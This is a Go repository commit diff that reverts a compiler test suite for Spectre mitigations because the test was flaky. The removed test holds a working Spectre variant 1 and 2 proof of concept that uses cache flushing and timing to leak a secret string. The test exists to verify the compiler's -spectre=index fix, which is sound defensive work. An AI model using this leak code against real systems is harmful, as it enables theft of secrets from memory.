]> Cypherpunks repositories - gostls13.git/commitdiff
Revert "misc/spectre: add spectre index test"
authorBryan C. Mills <bcmills@google.com>
Fri, 13 Mar 2020 20:38:58 +0000 (20:38 +0000)
committerAndrew Bonventre <andybons@golang.org>
Fri, 13 Mar 2020 21:31:16 +0000 (21:31 +0000)
This reverts CL 222978.

Reason for revert: Test is failing frequently in TryBots and builders (https://build.golang.org/log/06a29585eaa9955cf33b50b5792b3bdc42e8fbe2)

Change-Id: I53bcf789726a9cfe78b1d3c55af78873c5c61696
Reviewed-on: https://go-review.googlesource.com/c/go/+/223378
Run-TryBot: Bryan C. Mills <bcmills@google.com>
TryBot-Result: Gobot Gobot <gobot@golang.org>
Reviewed-by: Dmitri Shuralyov <dmitshur@golang.org>
misc/spectre/asm_amd64.s [deleted file]
misc/spectre/doc.go [deleted file]
misc/spectre/index_test.go [deleted file]
misc/spectre/spectre_amd64_test.go [deleted file]
src/cmd/dist/test.go

diff --git a/misc/spectre/asm_amd64.s b/misc/spectre/asm_amd64.s
deleted file mode 100644 (file)
index 6daa8a7..0000000
+++ /dev/null
@@ -1,51 +0,0 @@
-// Copyright 2020 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-#include "textflag.h"
-
-TEXT ·clflush(SB),NOSPLIT,$0-8
-       MOVQ arg+0(FP), AX
-       CLFLUSH 0(AX)
-       RET
-
-TEXT ·rdtscp(SB),NOSPLIT,$0-8
-       RDTSCP
-       SHLQ $32, DX
-       ORQ DX, AX
-       MOVQ AX, ret+0(FP)
-       RET
-
-TEXT ·nop(SB),NOSPLIT,$0-0
-       RET
-
-TEXT ·cpuid(SB),NOSPLIT,$0-0
-       CPUID
-       RET
-
-TEXT ·features(SB),NOSPLIT,$0-2
-       MOVL $0, AX
-       MOVL $0, CX
-       CPUID
-       CMPL AX, $1
-       JLT none
-
-       MOVL $1, AX
-       MOVL $0, CX
-       CPUID
-       SHRL $19, DX
-       ANDL $1, DX
-       MOVB DX, hasCLFLUSH+0(FP)
-
-       MOVL $0x80000001, AX
-       MOVL $0, CX
-       CPUID
-       SHRL $27, DX
-       ANDL $1, DX
-       MOVB DX, hasRDTSCP+0(FP)
-       RET
-
-none:
-       MOVB $0, hasCLFLUSH+0(FP)
-       MOVB $0, hasRDTSCP+1(FP)
-       RET
diff --git a/misc/spectre/doc.go b/misc/spectre/doc.go
deleted file mode 100644 (file)
index cd068fe..0000000
+++ /dev/null
@@ -1,7 +0,0 @@
-// Copyright 2020 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-// Package spectre contains a Spectre test.
-// It only runs on certain architectures.
-package spectre
diff --git a/misc/spectre/index_test.go b/misc/spectre/index_test.go
deleted file mode 100644 (file)
index a5ff730..0000000
+++ /dev/null
@@ -1,59 +0,0 @@
-// Copyright 2020 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-package spectre
-
-import "testing"
-
-func shouldPanic(f func()) {
-       defer func() {
-               if recover() == nil {
-                       panic("index did not panic")
-               }
-       }()
-       f()
-}
-
-var (
-       Zero  = 0
-       One   = 1
-       Two   = 2
-       Three = 3
-       Four  = 4
-       Five  = 5
-)
-
-func TestIndex(t *testing.T) {
-       xs := "hello"
-       xi := []int{10, 20, 30, 40, 50}
-       xf := []float64{10, 20, 30, 40, 50}
-
-       xs = xs[Zero:Five]
-       xi = xi[Zero:Five]
-       xf = xf[Zero:Five]
-
-       if xs[Four] != 'o' {
-               t.Errorf("xs[4] = %q, want %q", xs[Four], 'o')
-       }
-       if xi[Four] != 50 {
-               t.Errorf("xi[4] = %d, want 50", xi[Four])
-       }
-       if xf[Four] != 50 {
-               t.Errorf("xf[4] = %v, want 50", xf[Four])
-       }
-
-       xs1 := xs[One:]
-       xi1 := xi[One:]
-       xf1 := xf[One:]
-
-       if xs1[Three] != 'o' {
-               t.Errorf("xs1[3] = %q, want %q", xs1[Three], 'o')
-       }
-       if xi1[Three] != 50 {
-               t.Errorf("xi1[3] = %d, want 50", xi1[Three])
-       }
-       if xf1[Three] != 50 {
-               t.Errorf("xf1[3] = %v, want 50", xf1[Three])
-       }
-}
diff --git a/misc/spectre/spectre_amd64_test.go b/misc/spectre/spectre_amd64_test.go
deleted file mode 100644 (file)
index 7970d3c..0000000
+++ /dev/null
@@ -1,282 +0,0 @@
-// Copyright 2020 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-package spectre
-
-import (
-       "flag"
-       "sort"
-       "sync/atomic"
-       "testing"
-       "unsafe"
-)
-
-// asm_amd64.s
-func nop()
-func cpuid()
-func clflush(unsafe.Pointer)
-func rdtscp() int64
-func features() (cpuid, rdtscp bool)
-
-// Victim program
-
-type victimStruct struct {
-       secret      []byte
-       pad1        [4]int
-       slice1      []byte     // starts on word 7 of struct, so len is in word 8, new cache line
-       pad2        [6 + 7]int // cache-line aligned again
-       slice2      []int
-       pad2b       [6]int // cache-line aligned again
-       timingArray [256]struct {
-               pad  [1024 - 4]byte
-               data int32
-       }
-       pad3       [1024 - 4]byte
-       temp       int32
-       pad5       [1024]byte
-       slice2data [8]int
-       f          uintptr
-}
-
-var v *victimStruct
-
-func init() {
-       // Allocate dynamically to force 64-byte alignment.
-       // A global symbol would only be 32-byte aligned.
-       v = new(victimStruct)
-       if uintptr(unsafe.Pointer(v))&63 != 0 {
-               panic("allocation not 64-byte aligned")
-       }
-       v.secret = []byte("The Magic Words are Squeamish Gossifrage")
-       v.slice1 = []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}
-       v.slice2 = v.slice2data[:]
-       f := nop
-       v.f = *(*uintptr)(unsafe.Pointer(&f))
-}
-
-// Spectre variant 1. (BCB - Bounds Check Bypass)
-// Speculation fetches from v.timingArray even if i is out of bounds in v.slice1[i].
-
-func victim1(i int) {
-       if uint(i) < uint(len(v.slice1)) {
-               v.temp ^= v.timingArray[v.slice1[i]].data
-       }
-}
-
-func spectre1(innocent, target int) {
-       for j := 31; j >= 0; j-- {
-               // Flush the cache line holding the slice len (but not the base pointer).
-               // This makes the test in victim1 need to fetch from main memory,
-               // increasing the window during which the CPU speculates ahead.
-               // The CPUID waits for the CLFLUSH to finish.
-               clflush(unsafe.Pointer(uintptr(unsafe.Pointer(&v.slice1)) + 8))
-               cpuid()
-               mask := (j - 1) >> 8 // 0 on most rounds, -1 on last
-               victim1(innocent&^mask | target&mask)
-       }
-}
-
-// Spectre variant 1 again, with implicit bounds check provided by Go.
-// Speculation fetches from v.timingArray even if i is out of bounds in v.slice1[i].
-
-func victim1Implicit(i int) {
-       defer func() {
-               recover()
-       }()
-       v.temp ^= v.timingArray[v.slice1[i]].data
-}
-
-func spectre1Implicit(innocent, target int) {
-       // Same as spectre1 above, calling victim1implicit.
-       for j := 31; j >= 0; j-- {
-               clflush(unsafe.Pointer(uintptr(unsafe.Pointer(&v.slice1)) + 8))
-               cpuid()
-               mask := (j - 1) >> 8 // 0 on most rounds, -1 on last
-               victim1Implicit(innocent&^mask | target&mask)
-       }
-}
-
-// Spectre variant 2 victim gadget. (BTI - Branch Target Injection)
-// Will speculate that final call is to victimType.Victim instead of attackerType.Victim.
-
-type victimType int
-
-func (i victimType) Victim() {
-       victim1(int(i))
-}
-
-type attackerType int
-
-func (attackerType) Victim() {}
-
-func spectre2(innocent, target int) {
-       list := make([]interface{ Victim() }, 128)
-       list[0] = victimType(innocent)
-       vi := list[0]
-       for i := range list {
-               list[i] = vi
-       }
-       list[len(list)-1] = attackerType(target)
-
-       av := &list[len(list)-1]
-       // The 24 here is the offset of the first method in the itab.
-       itab := unsafe.Pointer(uintptr(**(**unsafe.Pointer)(unsafe.Pointer(&av))) + 24)
-
-       for _, vi := range list {
-               clflush(itab)
-               clflush(unsafe.Pointer(uintptr(unsafe.Pointer(&v.slice1)) + 8))
-               cpuid()
-               vi.Victim()
-       }
-}
-
-// General attack.
-
-func readbyte(target int, spectre func(int, int)) byte {
-       for tries := 0; tries < 10; tries++ {
-               var times [256][8]int
-               for round := range times[0] {
-                       // Flush timingArray.
-                       for j := range times {
-                               clflush(unsafe.Pointer(&v.timingArray[j].data))
-                       }
-
-                       // Speculate load from timingArray.
-                       innocent := round % 16
-                       spectre(innocent, target)
-
-                       // Measure access times for vtimingArray.
-                       // The atomic.LoadInt32 is not for synchronization
-                       // but instead something that the compiler won't optimize away or move.
-                       for j := range times {
-                               pj := (j*167 + 234) & 255 // permuted j to confuse prefetch
-                               atomic.LoadInt32(&dummy[0])
-                               addr := &v.timingArray[byte(pj)].data
-                               t := rdtscp()
-                               dummy[0] += int32(*addr)
-                               t = rdtscp() - t
-                               times[pj][round] = int(t)
-                       }
-               }
-
-               found := 0
-               var c byte
-               for j := range times {
-                       _, avg, _ := stats(times[j][:])
-                       if hitMin/2 <= avg && avg <= 2*hitMax {
-                               found++
-                               c = byte(j)
-                       }
-               }
-               if found == 1 {
-                       return c
-               }
-               if found > 10 {
-                       return 0
-               }
-       }
-       return 0
-}
-
-var leakFixed = flag.Bool("leakfixed", false, "expect leak to be fixed")
-
-func testSpectre(t *testing.T, spectre func(int, int)) {
-       if cpuid, rdtscp := features(); !cpuid {
-               t.Skip("CPUID not available")
-       } else if !rdtscp {
-               t.Skip("RDTSCP not available")
-       }
-
-       t.Logf("hit %d %d %d vs miss %d %d %d\n", hitMin, hitAvg, hitMax, missMin, missAvg, missMax)
-       if missMin/2 < hitMax {
-               t.Fatalf("cache misses vs cache hits too close to call")
-               return
-       }
-
-       offset := int(uintptr(unsafe.Pointer(&v.secret[0])) - uintptr(unsafe.Pointer(&v.slice1[0])))
-       // fmt.Printf("offset %d\n", offset)
-       buf := make([]byte, 40)
-       for i := 0; i < 40; i++ {
-               buf[i] = readbyte(offset+i, spectre)
-       }
-       found := string(buf)
-
-       // Don't insist on the whole string, but expect most of it.
-       leaked := 0
-       for i := range found {
-               if found[i] == v.secret[i] {
-                       leaked++
-               }
-       }
-       if !*leakFixed && leaked < len(found)/2 {
-               t.Fatalf("expected leak; found only %q", found)
-       }
-       if *leakFixed && leaked > 0 {
-               t.Fatalf("expected no leak; found %q", found)
-       }
-}
-
-func TestSpectre1(t *testing.T) {
-       testSpectre(t, spectre1)
-}
-
-func TestSpectre1Implicit(t *testing.T) {
-       testSpectre(t, spectre1Implicit)
-}
-
-func TestSpectre2(t *testing.T) {
-       testSpectre(t, spectre2)
-}
-
-var (
-       hitMin, hitAvg, hitMax    = measure(-1, 500)
-       missMin, missAvg, missMax = measure(500, 500)
-)
-
-var dummy [1024]int32
-
-func measure(flush, probe int) (min, avg, max int) {
-       var times [100]int
-       for i := range times {
-               if flush >= 0 {
-                       clflush(unsafe.Pointer(&dummy[flush]))
-               }
-               // The atomic.LoadInt32 is not for synchronization
-               // but instead something that the compiler won't optimize away or move.
-               t := rdtscp()
-               dummy[0] += atomic.LoadInt32(&dummy[probe])
-               times[i] = int(rdtscp() - t)
-       }
-       return stats(times[:])
-}
-
-func stats(x []int) (min, avg, max int) {
-       // Discard outliers.
-       sort.Ints(x)
-       q1 := x[len(x)/4]
-       q3 := x[len(x)*3/4]
-       lo := q1 - (q3-q1)*3/2
-       hi := q3 + (q3-q1)*3/2
-       i := 0
-       for i < len(x) && x[i] < lo {
-               i++
-       }
-       j := len(x)
-       for j-1 > i && x[j-1] > hi {
-               j--
-       }
-       if i < j {
-               x = x[i:j]
-       }
-
-       min = x[0]
-       max = x[len(x)-1]
-
-       avg = 0
-       for _, v := range x {
-               avg += v
-       }
-       avg /= len(x)
-       return min, avg, max
-}
index 154a5e383feaa07f6218dd70f1c5d81fc7b13bb9..43d8089c65bde9ee18a0cb04041bf07d4cd6fb71 100644 (file)
@@ -611,29 +611,7 @@ func (t *tester) registerTests() {
                        name:    "sync_cpu",
                        heading: "sync -cpu=10",
                        fn: func(dt *distTest) error {
-                               t.addCmd(dt, filepath.Join(goroot, "src"), t.goTest(), "sync", t.timeout(120), "-cpu=10", t.runFlag(""))
-                               return nil
-                       },
-               })
-       }
-
-       // spectre tests
-       switch goarch {
-       case "amd64":
-               t.tests = append(t.tests, distTest{
-                       name:    "spectre",
-                       heading: "../misc/spectre",
-                       fn: func(dt *distTest) error {
-                               t.addCmd(dt, filepath.Join(goroot, "misc/spectre"), t.goTest(), ".")
-                               return nil
-                       },
-               })
-
-               t.tests = append(t.tests, distTest{
-                       name:    "spectrefix",
-                       heading: "../misc/spectre -gcflags=-spectre=index",
-                       fn: func(dt *distTest) error {
-                               t.addCmd(dt, filepath.Join(goroot, "misc/spectre"), t.goTest(), "-gcflags=-spectre=index", "-leakfixed", ".")
+                               t.addCmd(dt, "src", t.goTest(), "sync", t.timeout(120), "-cpu=10", t.runFlag(""))
                                return nil
                        },
                })